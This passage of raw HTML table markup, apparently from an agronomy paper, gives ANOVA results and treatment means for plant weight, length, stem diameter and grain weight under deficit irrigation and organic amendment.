</td>\r\n			<td style=\"width:71.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Variance</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">%</span></p>\r\n			</td>\r\n			<td style=\"width:48.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">P</span></p>\r\n			</td>\r\n			<td style=\"width:47.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">MS</span></p>\r\n			</td>\r\n			<td style=\"width:60.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Variance</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">%</span></p>\r\n			</td>\r\n			<td style=\"width:47.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">P</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:129.8pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Replications</span></strong></p>\r\n			</td>\r\n			<td style=\"width:36.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:64.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">71.68</span></p>\r\n			</td>\r\n			<td style=\"width:71.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.51</span></p>\r\n			</td>\r\n			<td style=\"width:48.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n			<td style=\"width:47.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">22.39</span></p>\r\n			</td>\r\n			<td style=\"width:60.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.10</span></p>\r\n			</td>\r\n			<td style=\"width:47.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:129.8pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Irrigation level (I)</span></strong></p>\r\n			</td>\r\n			<td style=\"width:36.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:64.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">97.69</span></p>\r\n			</td>\r\n			<td style=\"width:71.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.70</span></p>\r\n			</td>\r\n			<td style=\"width:48.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.549</span></p>\r\n			</td>\r\n			<td style=\"width:47.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">926.06</span></p>\r\n			</td>\r\n			<td style=\"width:60.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">45.61</span></p>\r\n			</td>\r\n			<td style=\"width:47.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.002</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:129.8pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Organic amendment (O)</span></strong></p>\r\n			</td>\r\n			<td style=\"width:36.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:64.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">466.78</span></p>\r\n			</td>\r\n			<td style=\"width:71.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">23.87</span></p>\r\n			</td>\r\n			<td style=\"width:48.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.003</span></p>\r\n			</td>\r\n			<td style=\"width:47.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">826.89</span></p>\r\n			</td>\r\n			<td style=\"width:60.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">57.69</span></p>\r\n			</td>\r\n			<td style=\"width:47.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&lt;.001</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:129.8pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">I * O</span></strong></p>\r\n			</td>\r\n			<td style=\"width:36.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:64.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">89.61</span></p>\r\n			</td>\r\n			<td style=\"width:71.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.58</span></p>\r\n			</td>\r\n			<td style=\"width:48.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.062</span></p>\r\n			</td>\r\n			<td style=\"width:47.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">196.06</span></p>\r\n			</td>\r\n			<td style=\"width:60.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">13.68</span></p>\r\n			</td>\r\n			<td style=\"width:47.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.006</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"8\" style=\"width:504.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">DF: Degree of Freedom = n - 1, MS: Mean Square</span><span style=\"font-size:10.0pt\"> = SS / DF, </span><span style=\"font-size:10.0pt\">SS: Sum of Squares, </span><span style=\"font-size:10.0pt\">Variance % = (MS Factor / MS Total) *&nbsp;100, P: Probability 0.05</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 2. </strong>Analysis of variance (ANOVA) of plant weight (g) and plant length (cm).</span></span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td colspan=\"3\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Grain weight. plant<sup>-1</sup> (g)</span></strong></span></p>\r\n			</td>\r\n			<td colspan=\"3\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Stem diameter (cm)</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:129.25pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Source of variance</span></strong></p>\r\n			</td>\r\n			<td style=\"width:36.2pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">df</span></strong></p>\r\n			</td>\r\n			<td style=\"width:63.7pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">MS</span></strong></p>\r\n			</td>\r\n			<td style=\"width:71.3pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Variance</span></strong></p>\r\n\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">%</span></strong></p>\r\n			</td>\r\n			<td style=\"width:48.0pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">P</span></strong></p>\r\n			</td>\r\n			<td style=\"width:48.9pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">MS</span></strong></p>\r\n			</td>\r\n			<td style=\"width:59.9pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Variance</span></strong></p>\r\n\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">%</span></strong></p>\r\n			</td>\r\n			<td style=\"width:47.0pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">P</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:129.25pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Replications</span></strong></p>\r\n			</td>\r\n			<td style=\"width:36.2pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">2</span></strong></p>\r\n			</td>\r\n			<td style=\"width:63.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.683</span></p>\r\n			</td>\r\n			<td style=\"width:71.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.21</span></p>\r\n			</td>\r\n			<td style=\"width:48.0pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">-</span></strong></p>\r\n			</td>\r\n			<td style=\"width:48.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.00167</span></p>\r\n			</td>\r\n			<td style=\"width:59.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.12</span></p>\r\n			</td>\r\n			<td style=\"width:47.0pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">-</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:129.25pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Irrigation level (I)</span></strong></p>\r\n			</td>\r\n			<td style=\"width:36.2pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">2</span></strong></p>\r\n			</td>\r\n			<td style=\"width:63.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.880</span></p>\r\n			</td>\r\n			<td style=\"width:71.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.07</span></p>\r\n			</td>\r\n			<td style=\"width:48.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.241</span></p>\r\n			</td>\r\n			<td style=\"width:48.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.29167</span></p>\r\n			</td>\r\n			<td style=\"width:59.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">96.87</span></p>\r\n			</td>\r\n			<td style=\"width:47.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&lt;.001</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:129.25pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Organic amendment (O)</span></strong></p>\r\n			</td>\r\n			<td style=\"width:36.2pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">1</span></strong></p>\r\n			</td>\r\n			<td style=\"width:63.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">95.206</span></p>\r\n			</td>\r\n			<td style=\"width:71.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">32.49</span></p>\r\n			</td>\r\n			<td style=\"width:48.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.001</span></p>\r\n			</td>\r\n			<td style=\"width:48.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.93389</span></p>\r\n			</td>\r\n			<td style=\"width:59.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">80.05</span></p>\r\n			</td>\r\n			<td style=\"width:47.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">&lt;.001</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:129.25pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">I * O</span></strong></p>\r\n			</td>\r\n			<td style=\"width:36.2pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">2</span></strong></p>\r\n			</td>\r\n			<td style=\"width:63.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.450</span></p>\r\n			</td>\r\n			<td style=\"width:71.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.52</span></p>\r\n			</td>\r\n			<td style=\"width:48.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.293</span></p>\r\n			</td>\r\n			<td style=\"width:48.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.01056</span></p>\r\n			</td>\r\n			<td style=\"width:59.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.90</span></p>\r\n			</td>\r\n			<td style=\"width:47.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.454</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"8\" style=\"width:504.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">DF: Degree of Freedom = n - 1, MS: Mean Square</span><span style=\"font-size:10.0pt\"> = SS / DF, </span><span style=\"font-size:10.0pt\">SS: Sum of Squares, </span><span style=\"font-size:10.0pt\">Variance % = (MS Factor / MS Total) *&nbsp;100, P: Probability 0.05</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 3: </strong>Analysis of variance (ANOVA) of stem diameter (cm) and grain weight. Plant<sup>-1</sup> (g).</span></span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Irrigation Level</span></strong></span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">(I)</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Organic Amendment</span></strong></span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">(O)</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Plant weight</span></strong></span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">(g)</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Plant length</span></strong></span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">(cm)</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Stem diameter</span></strong></span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">(m)</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Grain weight. plant<sup>-1</sup></span></strong></span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">(g)</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:108.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">FI 100</span></strong></p>\r\n			</td>\r\n			<td style=\"width:79.6pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">O0</span></strong></p>\r\n			</td>\r\n			<td style=\"width:65.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">67.0</span></p>\r\n			</td>\r\n			<td style=\"width:64.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">98.3</span></p>\r\n			</td>\r\n			<td style=\"width:67.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.5</span></p>\r\n			</td>\r\n			<td style=\"width:65.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">16.8</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:79.6pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">O1</span></strong></p>\r\n			</td>\r\n			<td style=\"width:65.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">76.3</span></p>\r\n			</td>\r\n			<td style=\"width:64.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">125.0</span></p>\r\n			</td>\r\n			<td style=\"width:67.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.0</span></p>\r\n			</td>\r\n			<td style=\"width:65.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">19.4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:187.7pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Mean</span></strong></p>\r\n			</td>\r\n			<td style=\"width:65.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">71.7<sup>a</sup></span></p>\r\n			</td>\r\n			<td style=\"width:64.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">111.7<sup>a</sup></span></p>\r\n			</td>\r\n			<td style=\"width:67.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.7<sup>a</sup></span></p>\r\n			</td>\r\n			<td style=\"width:65.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">18.1<sup>a</sup></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:108.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">DI 80</span></strong></p>\r\n			</td>\r\n			<td style=\"width:79.6pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">O0</span></strong></p>\r\n			</td>\r\n			<td style=\"width:65.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">63.4</span></p>\r\n			</td>\r\n			<td style=\"width:64.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">101.7</span></p>\r\n			</td>\r\n			<td style=\"width:67.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.1</span></p>\r\n			</td>\r\n			<td style=\"width:65.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">17.3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:79.6pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">O1</span></strong></p>\r\n			</td>\r\n			<td style=\"width:65.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">66.3</span></p>\r\n			</td>\r\n			<td style=\"width:64.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">110.0</span></p>\r\n			</td>\r\n			<td style=\"width:67.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.7</span></p>\r\n			</td>\r\n			<td style=\"width:65.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">23.0</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:187.7pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Mean</span></strong></p>\r\n			</td>\r\n			<td style=\"width:65.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">64.9<sup>a</sup></span></p>\r\n			</td>\r\n			<td style=\"width:64.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">105.8<sup>a</sup></span></p>\r\n			</td>\r\n			<td style=\"width:67.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.4<sup>b</sup></span></p>\r\n			</td>\r\n			<td style=\"width:65.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">20.2<sup>a</sup></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:108.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">DI 60</span></strong></p>\r\n			</td>\r\n			<td style=\"width:79.6pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">O0</span></strong></p>\r\n			</td>\r\n			<td style=\"width:65.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">55.4</span></p>\r\n			</td>\r\n			<td style=\"width:64.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">85.0</span></p>\r\n			</td>\r\n			<td style=\"width:67.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.6</span></p>\r\n			</td>\r\n			<td style=\"width:65.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">16.7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:79.6pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">O1</span></strong></p>\r\n			</td>\r\n			<td style=\"width:65.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">73.7</span></p>\r\n			</td>\r\n			<td style=\"width:64.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">90.7</span></p>\r\n			</td>\r\n			<td style=\"width:67.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.0</span></p>\r\n			</td>\r\n			<td style=\"width:65.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">22.2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:187.7pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Mean</span></strong></p>\r\n			</td>\r\n			<td style=\"width:65.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">64.6<sup>a</sup></span></p>\r\n			</td>\r\n			<td style=\"width:64.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">87.8<sup>b</sup></span></p>\r\n			</td>\r\n			<td style=\"width:67.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.8<sup>c</sup></span></p>\r\n			</td>\r\n			<td style=\"width:65.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">19.5<sup>a</sup></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:108.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Mean over irrigation level</span></strong></p>\r\n			</td>\r\n			<td style=\"width:79.6pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">O0</span></strong></p>\r\n			</td>\r\n			<td style=\"width:65.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">61.9<sup>b</sup></span></p>\r\n			</td>\r\n			<td style=\"width:64.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">95.0<sup>b</sup></span></p>\r\n			</td>\r\n			<td style=\"width:67.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.1<sup>b</sup></span></p>\r\n			</td>\r\n			<td style=\"width:65.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">16.9<sup>b</sup></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:79.6pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">O1</span></strong></p>\r\n			</td>\r\n			<td style=\"width:65.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">72.1<sup>a</sup></span></p>\r\n			</td>\r\n			<td style=\"width:64.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">108.6<sup>a</sup></span></p>\r\n			</td>\r\n			<td style=\"width:67.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.5<sup>a</sup></span></p>\r\n			</td>\r\n			<td style=\"width:65.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">21.5<sup>a</sup></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:187.7pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">General mean</span></strong></p>\r\n			</td>\r\n			<td style=\"width:65.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">67.0</span></p>\r\n			</td>\r\n			<td style=\"width:64.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">101.8</span></p>\r\n			</td>\r\n			<td style=\"width:67.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.3</span></p>\r\n			</td>\r\n			<td style=\"width:65.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">19.2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:187.7pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">LSD (I)</span></strong></p>\r\n			</td>\r\n			<td style=\"width:65.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">19.0<sup>ns</sup></span></p>\r\n			</td>\r\n			<td style=\"width:64.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7.2*</span></p>\r\n			</td>\r\n			<td style=\"width:67.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.2**</span></p>\r\n			</td>\r\n			<td style=\"width:65.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.9<sup>ns</sup></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:187.7pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">LSD (O)</span></strong></p>\r\n			</td>\r\n			<td style=\"width:65.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.1**</span></p>\r\n			</td>\r\n			<td style=\"width:64.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.4**</span></p>\r\n			</td>\r\n			<td style=\"width:67.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.1**</span></p>\r\n			</td>\r\n			<td style=\"width:65.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.0**</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:187.7pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">LSD (I*O)</span></strong></p>\r\n			</td>\r\n			<td style=\"width:65.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">18.6<sup>ns</sup></span></p>\r\n			</td>\r\n			<td style=\"width:64.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7.7**</span></p>\r\n			</td>\r\n			<td style=\"width:67.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.2<sup>ns</sup></span></p>\r\n			</td>\r\n			<td style=\"width:65.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3.2<sup>ns</sup></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:187.7pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">CV%</span></strong></p>\r\n			</td>\r\n			<td style=\"width:65.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.6</span></p>\r\n			</td>\r\n			<td style=\"width:64.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3.7</span></p>\r\n			</td>\r\n			<td style=\"width:67.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8.2</span></p>\r\n			</td>\r\n			<td style=\"width:65.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8.9</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			